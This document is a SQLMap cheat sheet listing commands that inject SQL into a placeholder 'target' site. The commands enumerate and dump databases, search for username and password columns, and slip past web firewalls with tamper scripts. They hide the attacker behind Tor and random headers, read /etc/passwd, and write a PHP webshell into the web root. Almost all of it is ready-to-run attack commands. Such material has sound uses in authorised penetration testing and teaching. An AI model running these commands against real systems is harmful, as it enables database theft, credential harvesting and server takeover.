SQLMap Cheat Sheet

SQLMap: automated SQL injection and database takeover. Always run manually first — if you see reflections/errors, use --level/--risk wisely.

Quick Start

Basic test of a URL parameter sqlmap -u "http://target/page.php?id=1" --batch
Test a POST body sqlmap -u "http://target/login" --data "user=a&pass=b" --batch
Use an HTTP request file (Burp → right-click → Copy to file)
```
sqlmap -r request.txt --batch
```
Test with a cookie sqlmap -u "http://target/?id=1" --cookie="PHPSESSID=abc" --batch
Higher depth/intensity sqlmap -u "http://target/?id=1" --level=3 --risk=2 --batch

List databases sqlmap -u "..." --dbs --batch
Current database / user / host sqlmap -u "..." --current-db --current-user --hostname --batch
List tables of a db sqlmap -u "..." -D <db> --tables --batch
Dump a table sqlmap -u "..." -D <db> -T <table> --dump --batch
Dump all databases sqlmap -u "..." --dump-all --batch
Columns only sqlmap -u "..." -D <db> -T <table> --columns --batch
Search for interesting columns sqlmap -u "..." --search -C "user,pass" --batch

Identify DBMS sqlmap -u "..." --dbms="mysql" --batch (skip banner guessing to speed up)
Verbose output for visibility -v 3
Banner sqlmap -u "..." --banner --batch

Force tamper scripts (bypass WAF) --tamper="space2comment,apostrophemask,between" --level=5 --risk=3
Use a proxy --proxy "http://127.0.0.1:8080"
Tor --tor --check-tor
Delay between requests --delay 1
Threads --threads 10 (may break on some DBMS)
Random agent / headers --random-agent --headers="X-Forwarded-For: 127.0.0.1"
Test without heuristic checks --string="found" when a success marker is known

Read a file sqlmap -u "..." --file-read="/etc/passwd" --batch
Write a file (e.g. webshell) sqlmap -u "..." --file-write="/tmp/cmd.php" --file-dest="/var/www/html/cmd.php" --batch

space2comment — replaces spaces; between — >1 → BETWEEN 1 AND 1; apostrophemask — ' → %EF%BC%87; equaltolike — = → LIKE; charencode/charunicodeencode; randomcase
Beginner default: --tamper=space2comment,between,equaltolike